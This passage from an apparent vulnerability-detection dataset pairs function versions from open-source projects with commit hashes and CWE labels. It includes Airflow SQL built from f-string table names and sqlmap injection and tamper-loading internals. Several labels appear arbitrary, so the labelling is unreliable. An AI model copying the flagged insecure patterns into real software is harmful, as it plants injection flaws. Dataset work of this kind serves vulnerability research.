        # Futures (which our Future is since 5.0).
        self.assertEqual(
            asyncio.get_event_loop().run_until_complete(
                native_coroutine_without_adapter()),
            42)
        self.assertEqual(
            asyncio.get_event_loop().run_until_complete(
                native_coroutine_with_adapter()),
            42)
        self.assertEqual(
            asyncio.get_event_loop().run_until_complete(
                native_coroutine_with_adapter2()),
            42)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/models.py,0,"def to_python(self, value):
        if not value:
            return []
        return list(self._check_values(value))",CWE-Unknown,django/django,d7a06ee7e571b6dad07c0f5b519b1db02e2a476c,"def to_python(self, value):
        if not value:
            return []
        to_py = super(ModelMultipleChoiceField, self).to_python
        return [to_py(val) for val in value]"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_requests_are_updated_each_time(httpbin):
    session = RedirectSession([303, 307])
    prep = requests.Request('POST', httpbin('post')).prepare()
    r0 = session.send(prep)
    assert r0.request.method == 'POST'
    assert session.calls[-1] == SendCall((r0.request,), {})
    redirect_generator = session.resolve_redirects(r0)
    default_keyword_args = {
        'stream': False,
        'verify': True,
        'cert': None,
        'timeout': None,
        'allow_redirects': False,
        'proxies': {},
    }
    for response in redirect_generator:
        assert response.request.method == 'GET'
        send_call = SendCall((response.request,), default_keyword_args)
        assert session.calls[-1] == send_call",CWE-703,psf/requests,adb577d5b8641d14df6aef0faa036abb224598c0,"def test_requests_are_updated_each_time(httpbin):
    session = RedirectSession([303, 307])
    prep = requests.Request('POST', httpbin('post')).prepare()
    r0 = session.send(prep)
    assert r0.request.method == 'POST'
    assert session.calls[-1] == SendCall((r0.request,), {})
    redirect_generator = session.resolve_redirects(r0, prep)
    default_keyword_args = {
        'stream': False,
        'verify': True,
        'cert': None,
        'timeout': None,
        'allow_redirects': False,
        'proxies': {},
    }
    for response in redirect_generator:
        assert response.request.method == 'GET'
        send_call = SendCall((response.request,), default_keyword_args)
        assert session.calls[-1] == send_call"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def synchronize_log_template(*, session: Session = NEW_SESSION) -> None:
    """"""Synchronize log template configs with table.

    This checks if the last row fully matches the current config values, and
    insert a new row if not.
    """"""
    # NOTE: SELECT queries in this function are INTENTIONALLY written with the
    # SQL builder style, not the ORM query API. This avoids configuring the ORM
    # unless we need to insert something, speeding up CLI in general.

    from airflow.models.tasklog import LogTemplate

    metadata = reflect_tables([LogTemplate], session)
    log_template_table: Table | None = metadata.tables.get(LogTemplate.__tablename__)

    if log_template_table is None:
        log.info(""Log template table does not exist (added in 2.3.0); skipping log template sync."")
        return

    filename = conf.get(""logging"", ""log_filename_template"")
    elasticsearch_id = conf.get(""elasticsearch"", ""log_id_template"")

    stored = session.execute(
        select(
            log_template_table.c.filename,
            log_template_table.c.elasticsearch_id,
        )
        .order_by(log_template_table.c.id.desc())
        .limit(1)
    ).first()

    # If we have an empty table, and the default values exist, we will seed the
    # table with values from pre 2.3.0, so old logs will still be retrievable.
    if not stored:
        is_default_log_id = elasticsearch_id == conf.get_default_value(""elasticsearch"", ""log_id_template"")
        is_default_filename = filename == conf.get_default_value(""logging"", ""log_filename_template"")
        if is_default_log_id and is_default_filename:
            session.add(
                LogTemplate(
                    filename=""{{ ti.dag_id }}/{{ ti.task_id }}/{{ ts }}/{{ try_number }}.log"",
                    elasticsearch_id=""{dag_id}-{task_id}-{execution_date}-{try_number}"",
                )
            )

    # Before checking if the _current_ value exists, we need to check if the old config value we upgraded in
    # place exists!
    pre_upgrade_filename = conf.upgraded_values.get((""logging"", ""log_filename_template""), filename)
    pre_upgrade_elasticsearch_id = conf.upgraded_values.get(
        (""elasticsearch"", ""log_id_template""), elasticsearch_id
    )
    if pre_upgrade_filename != filename or pre_upgrade_elasticsearch_id != elasticsearch_id:
        # The previous non-upgraded value likely won't be the _latest_ value (as after we've recorded the
        # recorded the upgraded value it will be second-to-newest), so we'll have to just search which is okay
        # as this is a table with a tiny number of rows
        row = session.execute(
            select(log_template_table.c.id)
            .where(
                or_(
                    log_template_table.c.filename == pre_upgrade_filename,
                    log_template_table.c.elasticsearch_id == pre_upgrade_elasticsearch_id,
                )
            )
            .order_by(log_template_table.c.id.desc())
            .limit(1)
        ).first()
        if not row:
            session.add(
                LogTemplate(filename=pre_upgrade_filename, elasticsearch_id=pre_upgrade_elasticsearch_id)
            )

    if not stored or stored.filename != filename or stored.elasticsearch_id != elasticsearch_id:
        session.add(LogTemplate(filename=filename, elasticsearch_id=elasticsearch_id))",CWE-89,apache/airflow,c9cc72608d66b1481ef1029499ce54e30b178b12,"def synchronize_log_template(*, session: Session = NEW_SESSION) -> None:
    """"""Synchronize log template configs with table.

    This checks if the last row fully matches the current config values, and
    insert a new row if not.
    """"""
    # NOTE: SELECT queries in this function are INTENTIONALLY written with the
    # SQL builder style, not the ORM query API. This avoids configuring the ORM
    # unless we need to insert something, speeding up CLI in general.

    from airflow.models.tasklog import LogTemplate

    metadata = reflect_tables([LogTemplate], session)
    log_template_table: Table | None = metadata.tables.get(LogTemplate.__tablename__)

    if log_template_table is None:
        log.info(""Log template table does not exist (added in 2.3.0); skipping log template sync."")
        return

    filename = conf.get(""logging"", ""log_filename_template"")
    elasticsearch_id = conf.get(""elasticsearch"", ""log_id_template"")

    stored = session.execute(
        select(
            log_template_table.c.filename,
            log_template_table.c.elasticsearch_id,
        )
        .order_by(log_template_table.c.id.desc())
        .limit(1)
    ).first()

    # If we have an empty table, and the default values exist, we will seed the
    # table with values from pre 2.3.0, so old logs will still be retrievable.
    if not stored:
        is_default_log_id = elasticsearch_id == conf.get_default_value(""elasticsearch"", ""log_id_template"")
        is_default_filename = filename == conf.get_default_value(""logging"", ""log_filename_template"")
        if is_default_log_id and is_default_filename:
            session.add(
                LogTemplate(
                    filename=""{{ ti.dag_id }}/{{ ti.task_id }}/{{ ts }}/{{ try_number }}.log"",
                    elasticsearch_id=""{dag_id}-{task_id}-{execution_date}-{try_number}"",
                )
            )

    # Before checking if the _current_ value exists, we need to check if the old config value we upgraded in
    # place exists!
    pre_upgrade_filename = conf.upgraded_values.get((""logging"", ""log_filename_template""), filename)
    pre_upgrade_elasticsearch_id = conf.upgraded_values.get(
        (""elasticsearch"", ""log_id_template""), elasticsearch_id
    )
    if pre_upgrade_filename != filename or pre_upgrade_elasticsearch_id != elasticsearch_id:
        # The previous non-upgraded value likely won't be the _latest_ value (as after we've recorded the
        # recorded the upgraded value it will be second-to-newest), so we'll have to just search which is okay
        # as this is a table with a tiny number of rows
        row = session.execute(
            select(log_template_table.c.id)
            .where(
                or_(
                    log_template_table.c.filename == pre_upgrade_filename,
                    log_template_table.c.elasticsearch_id == pre_upgrade_elasticsearch_id,
                )
            )
            .order_by(log_template_table.c.id.desc())
            .limit(1)
        ).first()
        if not row:
            session.add(
                LogTemplate(filename=pre_upgrade_filename, elasticsearch_id=pre_upgrade_elasticsearch_id)
            )

    if not stored or stored.filename != filename or stored.elasticsearch_id != elasticsearch_id:
        session.add(LogTemplate(filename=filename, elasticsearch_id=elasticsearch_id))"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/gis_tests/geos_tests/test_geos.py,0,"def test_transform_noop(self):
        """""" Testing `transform` method (SRID match) """"""
        # transform() should no-op if source & dest SRIDs match,
        # regardless of whether GDAL is available.
        g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        gt = g.tuple
        g.transform(4326)
        self.assertEqual(g.tuple, gt)
        self.assertEqual(g.srid, 4326)

        g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        g1 = g.transform(4326, clone=True)
        self.assertEqual(g1.tuple, g.tuple)
        self.assertEqual(g1.srid, 4326)
        self.assertIsNot(g1, g, ""Clone didn't happen"")

        with mock.patch('django.contrib.gis.gdal.HAS_GDAL', False):
            g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
            gt = g.tuple
            g.transform(4326)
            self.assertEqual(g.tuple, gt)
            self.assertEqual(g.srid, 4326)

            g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
            g1 = g.transform(4326, clone=True)
            self.assertEqual(g1.tuple, g.tuple)
            self.assertEqual(g1.srid, 4326)
            self.assertIsNot(g1, g, ""Clone didn't happen"")",CWE-Unknown,django/django,24c1605aa0bf88b78c261210698d0ae75756cac0,"def test_transform_noop(self):
        """""" Testing `transform` method (SRID match) """"""
        # transform() should no-op if source & dest SRIDs match,
        # regardless of whether GDAL is available.
        g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        gt = g.tuple
        g.transform(4326)
        self.assertEqual(g.tuple, gt)
        self.assertEqual(g.srid, 4326)

        g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
        g1 = g.transform(4326, clone=True)
        self.assertEqual(g1.tuple, g.tuple)
        self.assertEqual(g1.srid, 4326)
        self.assertIsNot(g1, g, ""Clone didn't happen"")

        with mock.patch('django.contrib.gis.gdal.HAS_GDAL', False):
            g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
            gt = g.tuple
            g.transform(4326)
            self.assertEqual(g.tuple, gt)
            self.assertEqual(g.srid, 4326)

            g = GEOSGeometry('POINT (-104.609 38.255)', 4326)
            g1 = g.transform(4326, clone=True)
            self.assertEqual(g1.tuple, g.tuple)
            self.assertEqual(g1.srid, 4326)
            self.assertIsNot(g1, g, ""Clone didn't happen"")"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/core.py,0,"def test_sensor(self):
        sensor = operators.HttpSensor(
            task_id='http_sensor_check',
            conn_id='http_default',
            endpoint='/search',
            params={""client"": ""ubuntu"", ""q"": ""airflow""},
            headers={},
            response_check=lambda response: (""airbnb/airflow"" in response.text),
            poke_interval=5,
            timeout=15,
            dag=self.dag)
        sensor.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, force=True)",CWE-Unknown,apache/airflow,138b5167911c76d08d4e415645578939fdbd3734,"def test_sensor(self):
        sensor = operators.HttpSensor(
            task_id='http_sensor_check',
            conn_id='http_default',
            endpoint='/search',
            params={""client"": ""ubuntu"", ""q"": ""airflow""},
            headers={},
            response_check=lambda response: (""airbnb/airflow"" in response.text),
            poke_interval=5,
            timeout=15,
            dag=self.dag)
        sensor.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, force=True)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/blueprints.py,0,"def __init__(self, name, import_name, static_folder=None,
                 static_url_path=None, template_folder=None,
                 url_prefix=None, subdomain=None, url_defaults=None,
                 root_path=None):
        _PackageBoundObject.__init__(self, import_name, template_folder,
                                     root_path=root_path)
        self.name = name
        self.url_prefix = url_prefix
        self.subdomain = subdomain
        self.static_folder = static_folder
        self.static_url_path = static_url_path
        self.deferred_functions = []
        if url_defaults is None:
            url_defaults = {}
        self.url_values_defaults = url_defaults",,pallets/flask,554c5b965a8b9d702897e5da926312cac22fa86e,"def __init__(self, name, import_name, static_folder=None,
                 static_url_path=None, template_folder=None,
                 url_prefix=None, subdomain=None, url_defaults=None,
                 root_path=None):
        _PackageBoundObject.__init__(self, import_name, template_folder,
                                     root_path=root_path)
        self.name = name
        self.url_prefix = url_prefix
        self.subdomain = subdomain
        self.static_folder = static_folder
        self.static_url_path = static_url_path
        self.deferred_functions = []
        self.view_functions = {}
        if url_defaults is None:
            url_defaults = {}
        self.url_values_defaults = url_defaults"
,UNKNOWN,UNKNOWN,airflow/utils/db_cleanup.py,1,"def _do_delete(*, query: Query, orm_model: Base, skip_archive: bool, session: Session) -> None:
    import re2

    print(""Performing Delete..."")
    # using bulk delete
    # create a new table and copy the rows there
    timestamp_str = re2.sub(r""[^\d]"", """", timezone.utcnow().isoformat())[:14]
    target_table_name = f""{ARCHIVE_TABLE_PREFIX}{orm_model.name}__{timestamp_str}""
    print(f""Moving data to table {target_table_name}"")
    bind = session.get_bind()
    dialect_name = bind.dialect.name
    target_table = None
    try:
        if dialect_name == ""mysql"":
            # MySQL with replication needs this split into two queries, so just do it for all MySQL
            # ERROR 1786 (HY000): Statement violates GTID consistency: CREATE TABLE ... SELECT.
            session.execute(text(f""CREATE TABLE {target_table_name} LIKE {orm_model.name}""))
            metadata = reflect_tables([target_table_name], session)
            target_table = metadata.tables[target_table_name]
            insert_stm = target_table.insert().from_select(target_table.c, query)
            logger.debug(""insert statement:\n%s"", insert_stm.compile())
            session.execute(insert_stm)
        else:
            stmt = CreateTableAs(target_table_name, query.selectable)
            logger.debug(""ctas query:\n%s"", stmt.compile())
            session.execute(stmt)
        session.commit()

        # delete the rows from the old table
        metadata = reflect_tables([orm_model.name, target_table_name], session)
        source_table = metadata.tables[orm_model.name]
        target_table = metadata.tables[target_table_name]
        logger.debug(""rows moved; purging from %s"", source_table.name)
        if dialect_name == ""sqlite"":
            pk_cols = source_table.primary_key.columns
            delete = source_table.delete().where(
                tuple_(*pk_cols).in_(
                    select(*[target_table.c[x.name] for x in source_table.primary_key.columns])
                )
            )
        else:
            delete = source_table.delete().where(
                and_(col == target_table.c[col.name] for col in source_table.primary_key.columns)
            )
        logger.debug(""delete statement:\n%s"", delete.compile())
        session.execute(delete)
        session.commit()
    except BaseException as e:
        raise e
    finally:
        if target_table is not None and skip_archive:
            bind = session.get_bind()
            target_table.drop(bind=bind)
            session.commit()
            print(""Finished Performing Delete"")",CWE-89,apache/airflow,1e87a2a72ccd172ba851e62f4fe4c77998b19d73,"def _do_delete(*, query: Query, orm_model: Base, skip_archive: bool, session: Session) -> None:
    import re2

    print(""Performing Delete..."")
    # using bulk delete
    # create a new table and copy the rows there
    timestamp_str = re2.sub(r""[^\d]"", """", timezone.utcnow().isoformat())[:14]
    target_table_name = f""{ARCHIVE_TABLE_PREFIX}{orm_model.name}__{timestamp_str}""
    print(f""Moving data to table {target_table_name}"")
    bind = session.get_bind()
    dialect_name = bind.dialect.name
    if dialect_name == ""mysql"":
        # MySQL with replication needs this split into two queries, so just do it for all MySQL
        # ERROR 1786 (HY000): Statement violates GTID consistency: CREATE TABLE ... SELECT.
        session.execute(text(f""CREATE TABLE {target_table_name} LIKE {orm_model.name}""))
        metadata = reflect_tables([target_table_name], session)
        target_table = metadata.tables[target_table_name]
        insert_stm = target_table.insert().from_select(target_table.c, query)
        logger.debug(""insert statement:\n%s"", insert_stm.compile())
        session.execute(insert_stm)
    else:
        stmt = CreateTableAs(target_table_name, query.selectable)
        logger.debug(""ctas query:\n%s"", stmt.compile())
        session.execute(stmt)
    session.commit()

    # delete the rows from the old table
    metadata = reflect_tables([orm_model.name, target_table_name], session)
    source_table = metadata.tables[orm_model.name]
    target_table = metadata.tables[target_table_name]
    logger.debug(""rows moved; purging from %s"", source_table.name)
    if dialect_name == ""sqlite"":
        pk_cols = source_table.primary_key.columns
        delete = source_table.delete().where(
            tuple_(*pk_cols).in_(select(*[target_table.c[x.name] for x in source_table.primary_key.columns]))
        )
    else:
        delete = source_table.delete().where(
            and_(col == target_table.c[col.name] for col in source_table.primary_key.columns)
        )
    logger.debug(""delete statement:\n%s"", delete.compile())
    session.execute(delete)
    session.commit()
    if skip_archive:
        bind = session.get_bind()
        target_table.drop(bind=bind)
    session.commit()
    print(""Finished Performing Delete"")"
,UNKNOWN,UNKNOWN,kubernetes_tests/test_kubernetes_pod_operator.py,1,"def test_changing_base_container_name_with_get_logs(self, mock_get_connection):
        k = KubernetesPodOperator(
            namespace=""default"",
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels=self.labels,
            task_id=str(uuid4()),
            in_cluster=False,
            do_xcom_push=False,
            get_logs=True,
            base_container_name=""apple-sauce"",
        )
        assert k.base_container_name == ""apple-sauce""
        context = create_context(k)
        with mock.patch.object(
            k.pod_manager, ""fetch_container_logs"", wraps=k.pod_manager.fetch_container_logs
        ) as mock_fetch_container_logs:
            k.execute(context)

        assert mock_fetch_container_logs.call_args[1][""container_name""] == ""apple-sauce""
        actual_pod = self.api_client.sanitize_for_serialization(k.pod)
        self.expected_pod[""spec""][""containers""][0][""name""] = ""apple-sauce""
        assert self.expected_pod[""spec""] == actual_pod[""spec""]",CWE-703,apache/airflow,6d85a0466d91d501af87c8904b902ea92cee466d,"def test_changing_base_container_name_with_get_logs(self, mock_get_connection):
        k = KubernetesPodOperator(
            namespace=""default"",
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels=self.labels,
            task_id=str(uuid4()),
            in_cluster=False,
            do_xcom_push=False,
            get_logs=True,
            base_container_name=""apple-sauce"",
        )
        assert k.base_container_name == ""apple-sauce""
        context = create_context(k)
        with mock.patch.object(
            k.pod_manager, ""fetch_container_logs"", wraps=k.pod_manager.fetch_container_logs
        ) as mock_fetch_container_logs:
            k.execute(context)

        assert mock_fetch_container_logs.call_args[1][""container_name""] == ""apple-sauce""
        actual_pod = self.api_client.sanitize_for_serialization(k.pod)
        self.expected_pod[""spec""][""containers""][0][""name""] = ""apple-sauce""
        assert self.expected_pod[""spec""] == actual_pod[""spec""]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/keystone.py,0,"def tenant_list(profile=None, **connection_args):
    '''
    Return a list of available tenants (keystone tenants-list)

    CLI Example:

    .. code-block:: bash

        salt '*' keystone.tenant_list
    '''
    kstone = auth(profile, **connection_args)
    ret = {}
    for tenant in kstone.tenants.list():
        ret[tenant.name] = {'id': tenant.id,
                            'name': tenant.name,
                            'description': tenant.description,
                            'enabled': tenant.enabled}
    return ret",,saltstack/salt,4224b664304ef17e851cc51c554d472a271dfadb,"def tenant_list(profile=None, **connection_args):
    '''
    Return a list of available tenants (keystone tenants-list)

    CLI Example:

    .. code-block:: bash

        salt '*' keystone.tenant_list
    '''
    kstone = auth(profile, **connection_args)
    ret = {}
    for tenant in kstone.tenants.list():
        ret[tenant.name] = {'id': tenant.id,
                            'name': tenant.name,
                            'description': tenant.description,
                            'enabled': tenant.enabled}
    return ret"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/get_emails.py,0,"def _grep_worker(self, request, response, kb_key, domain=None):
        '''
        Helper method for using in self.grep()
        
        @param request: The HTTP request
        @param response: The HTTP response
        @param kb_key: Knowledge base dict key
        @param domain: Target domain for get_emails filter
        @return: None
        '''
        try:
            dp = dpCache.dpc.get_document_parser_for( response )
        except w3afException:
            msg = 'If I can\'t parse the document, I won\'t be able to find any'
            msg += ' emails. Ignoring the response for ""%s"".'
            om.out.debug( msg % response.getURL() )
            return

        emails = dp.get_emails(domain)

        for mail_address in emails:
            # Reduce false positives
            if request.sent( mail_address ):
                continue
                
            # Email address are case insensitive
            mail_address = mail_address.lower()
            url = response.getURL()

            email_map = {}
            for info_obj in kb.kb.get( 'emails', 'emails'):
                mail_string = info_obj['mail']
                email_map[ mail_string ] = info_obj

            if mail_address not in email_map:
                # Create a new info object, and report it
                i = info.info()
                i.set_plugin_name(self.get_name())
                i.setURL(url)
                i.set_id( response.id )
                i.set_name( mail_address )
                desc = 'The mail account: ""'+ mail_address + '"" was found in: '
                desc += '\n- ' + url
                desc += ' - In request with id: '+ str(response.id)
                i.set_desc( desc )
                i['mail'] = mail_address
                i['url_list'] = [url]
                i['user'] = mail_address.split('@')[0]
                i.addToHighlight( mail_address )
                kb.kb.append( 'emails', kb_key, i )
            
            else:
            
                # Get the corresponding info object.
                i = email_map[ mail_address ]
                # And work
                if url not in i['url_list']:
                    # This email was already found in some other URL
                    # I'm just going to modify the url_list and the description message
                    # of the information object.
                    id_list_of_info = i.get_id()
                    id_list_of_info.append( response.id )
                    i.set_id( id_list_of_info )
                    i.setURL( url )
                    desc = i.get_desc()
                    desc += '\n- ' + url
                    desc += ' - In request with id: '+ str(response.id)
                    i.set_desc( desc )
                    i['url_list'].append(url)",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def _grep_worker(self, request, response, kb_key, domain=None):
        '''
        Helper method for using in self.grep()
        
        @param request: The HTTP request
        @param response: The HTTP response
        @param kb_key: Knowledge base dict key
        @param domain: Target domain for get_emails filter
        @return: None
        '''
        try:
            dp = dpCache.dpc.get_document_parser_for( response )
        except w3afException:
            msg = 'If I can\'t parse the document, I won\'t be able to find any'
            msg += ' emails. Ignoring the response for ""%s"".'
            om.out.debug( msg % response.getURL() )
            return

        emails = dp.get_emails(domain)

        for mail_address in emails:
            # Reduce false positives
            if request.sent( mail_address ):
                continue
                
            # Email address are case insensitive
            mail_address = mail_address.lower()
            url = response.getURL()

            email_map = {}
            for info_obj in kb.kb.get( 'emails', 'emails'):
                mail_string = info_obj['mail']
                email_map[ mail_string ] = info_obj

            if mail_address not in email_map:
                # Create a new info object, and report it
                i = info.info()
                i.setPluginName(self.get_name())
                i.setURL(url)
                i.set_id( response.id )
                i.set_name( mail_address )
                desc = 'The mail account: ""'+ mail_address + '"" was found in: '
                desc += '\n- ' + url
                desc += ' - In request with id: '+ str(response.id)
                i.set_desc( desc )
                i['mail'] = mail_address
                i['url_list'] = [url]
                i['user'] = mail_address.split('@')[0]
                i.addToHighlight( mail_address )
                kb.kb.append( 'emails', kb_key, i )
            
            else:
            
                # Get the corresponding info object.
                i = email_map[ mail_address ]
                # And work
                if url not in i['url_list']:
                    # This email was already found in some other URL
                    # I'm just going to modify the url_list and the description message
                    # of the information object.
                    id_list_of_info = i.getId()
                    id_list_of_info.append( response.id )
                    i.set_id( id_list_of_info )
                    i.setURL( url )
                    desc = i.get_desc()
                    desc += '\n- ' + url
                    desc += ' - In request with id: '+ str(response.id)
                    i.set_desc( desc )
                    i['url_list'].append(url)"
,UNKNOWN,UNKNOWN,test/units/module_utils/urls/test_open_url.py,1,"def test_open_url_no_validate_certs(urlopen_mock, install_opener_mock):
    r = open_url('https://ansible.com/', validate_certs=False)

    opener = install_opener_mock.call_args[0][0]
    handlers = opener.handlers

    ssl_handler = None
    for handler in handlers:
        if isinstance(handler, HTTPSClientAuthHandler):
            ssl_handler = handler
            break

    assert ssl_handler is not None
    context = ssl_handler._context
    assert context.protocol == ssl.PROTOCOL_SSLv23
    if ssl.OP_NO_SSLv2:
        assert context.options & ssl.OP_NO_SSLv2
    assert context.options & ssl.OP_NO_SSLv3
    assert context.verify_mode == ssl.CERT_NONE
    assert context.check_hostname is False",CWE-703,ansible/ansible,496d10f7a894214e74a3057a53853b7baaa8e89f,"def test_open_url_no_validate_certs(urlopen_mock, install_opener_mock):
    r = open_url('https://ansible.com/', validate_certs=False)

    opener = install_opener_mock.call_args[0][0]
    handlers = opener.handlers

    ssl_handler = None
    for handler in handlers:
        if isinstance(handler, HTTPSClientAuthHandler):
            ssl_handler = handler
            break

    assert ssl_handler is not None
    context = ssl_handler._context
    assert context.protocol == ssl.PROTOCOL_SSLv23
    assert context.options & ssl.OP_NO_SSLv2
    assert context.options & ssl.OP_NO_SSLv3
    assert context.verify_mode == ssl.CERT_NONE
    assert context.check_hostname is False"
,UNKNOWN,UNKNOWN,tests/test_basic.py,1,"def test_make_response_with_response_instance():
    app = flask.Flask(__name__)
    with app.test_request_context():
        rv = flask.make_response(
            flask.jsonify({'msg': 'W00t'}), 400)
        assert rv.status_code == 400
        assert rv.data == b'{\n  ""msg"": ""W00t""\n}'
        assert rv.mimetype == 'application/json'

        rv = flask.make_response(
            flask.Response(''), 400)
        assert rv.status_code == 400
        assert rv.data == b''
        assert rv.mimetype == 'text/html'

        rv = flask.make_response(
            flask.Response('', headers={'Content-Type': 'text/html'}),
            400, [('X-Foo', 'bar')])
        assert rv.status_code == 400
        assert rv.headers['Content-Type'] == 'text/html'
        assert rv.headers['X-Foo'] == 'bar'",CWE-703,pallets/flask,a8c36fb3d8f6bb2a9e175bc38cd2de9e0ee8f52a,"def test_make_response_with_response_instance():
    app = flask.Flask(__name__)
    with app.test_request_context():
        rv = flask.make_response(
            flask.jsonify({'msg': 'W00t'}), 400)
        assert rv.status_code == 400
        assert rv.data == b'{\n  ""msg"": ""W00t""\n}'
        assert rv.mimetype == 'application/json'

        rv = flask.make_response(
            flask.Response(''), 400)
        assert rv.status_code == 400
        assert rv.data == b''
        assert rv.mimetype == 'text/html'

        rv = flask.make_response(
            flask.Response('', headers={'Content-Type': 'text/html'}),
            400, [('X-Foo', 'bar')])
        assert rv.status_code == 400
        assert rv.headers['Content-Type'] == 'text/html'
        assert rv.headers['X-Foo'] == 'bar'"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    expression = expression.replace(""DISTINCT "", """")

    if inband and kb.unionPosition:
        if kb.dbms == ""Oracle"" and "" ORDER BY "" in expression:
            expression = expression[:expression.index("" ORDER BY "")]

        value = __goInband(expression, expected, sort, resumeValue, unpack)

        if not value:
            warnMsg  = ""for some reasons it was not possible to retrieve ""
            warnMsg += ""the query output through inband SQL injection ""
            warnMsg += ""technique, sqlmap is going blind""
            logger.warn(warnMsg)

    oldParamFalseCond   = conf.paramFalseCond
    oldParamNegative    = conf.paramNegative
    conf.paramFalseCond = False
    conf.paramNegative  = False

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)

    conf.paramFalseCond = oldParamFalseCond
    conf.paramNegative  = oldParamNegative

    if value and isinstance(value, str):
        value = value.strip()

    return value",,sqlmapproject/sqlmap,72f367484498a6ce4ff7da6580794bab1217a59a,"def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
    """"""
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """"""

    expression = cleanQuery(expression)
    expression = expandAsteriskForColumns(expression)
    value      = None

    expression = expression.replace(""DISTINCT "", """")

    if inband and kb.unionPosition:
        if kb.dbms == ""Oracle"" and "" ORDER BY "" in expression:
            expression = expression[:expression.index("" ORDER BY "")]

        value = __goInband(expression, expected, sort, resumeValue, unpack)

        if not value:
            warnMsg  = ""for some reasons it was not possible to retrieve ""
            warnMsg += ""the query output through inband SQL injection ""
            warnMsg += ""technique, sqlmap is going blind""
            logger.warn(warnMsg)

    oldParamFalseCond   = conf.paramFalseCond
    oldParamNegative    = conf.paramNegative
    conf.paramFalseCond = False
    conf.paramNegative  = False

    if blind and not value:
        value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)

    conf.paramFalseCond = oldParamFalseCond
    conf.paramNegative  = oldParamNegative

    if value:
        value = value.strip()
        
    return value"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _setTamperingFunctions():
    """"""
    Loads tampering functions from given script(s)
    """"""

    if conf.tamper:
        last_priority = PRIORITY.HIGHEST
        check_priority = True
        resolve_priorities = False
        priorities = []

        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
            found = False

            path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH)
            script = safeFilepathEncode(script.strip())

            try:
                if not script:
                    continue

                elif os.path.exists(os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)):
                    script = os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)

                elif not os.path.exists(script):
                    errMsg = ""tamper script '%s' does not exist"" % script
                    raise SqlmapFilePathException(errMsg)

                elif not script.endswith("".py""):
                    errMsg = ""tamper script '%s' should have an extension '.py'"" % script
                    raise SqlmapSyntaxException(errMsg)
            except UnicodeDecodeError:
                errMsg = ""invalid character provided in option '--tamper'""
                raise SqlmapSyntaxException(errMsg)

            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

            infoMsg = ""loading tamper module '%s'"" % filename[:-3]
            logger.info(infoMsg)

            if not os.path.exists(os.path.join(dirname, ""__init__.py"")):
                errMsg = ""make sure that there is an empty file '__init__.py' ""
                errMsg += ""inside of tamper scripts directory '%s'"" % dirname
                raise SqlmapGenericException(errMsg)

            if dirname not in sys.path:
                sys.path.insert(0, dirname)

            try:
                module = __import__(safeFilepathEncode(filename[:-3]))
            except Exception as ex:
                raise SqlmapSyntaxException(""cannot import tamper module '%s' (%s)"" % (getUnicode(filename[:-3]), getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, ""__priority__"") else module.__priority__

            for name, function in inspect.getmembers(module, inspect.isfunction):
                if name == ""tamper"" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == ""kwargs"":
                    found = True
                    kb.tamperFunctions.append(function)
                    function.func_name = module.__name__

                    if check_priority and priority > last_priority:
                        message = ""it appears that you might have mixed ""
                        message += ""the order of tamper scripts. ""
                        message += ""Do you want to auto resolve this? [Y/n/q] ""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            resolve_priorities = False
                        elif choice == 'Q':
                            raise SqlmapUserQuitException
                        else:
                            resolve_priorities = True

                        check_priority = False

                    priorities.append((priority, function))
                    last_priority = priority

                    break
                elif name == ""dependencies"":
                    try:
                        function()
                    except Exception as ex:
                        errMsg = ""error occurred while checking dependencies ""
                        errMsg += ""for tamper module '%s' ('%s')"" % (getUnicode(filename[:-3]), getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)

            if not found:
                errMsg = ""missing function 'tamper(payload, **kwargs)' ""
                errMsg += ""in tamper script '%s'"" % script
                raise SqlmapGenericException(errMsg)

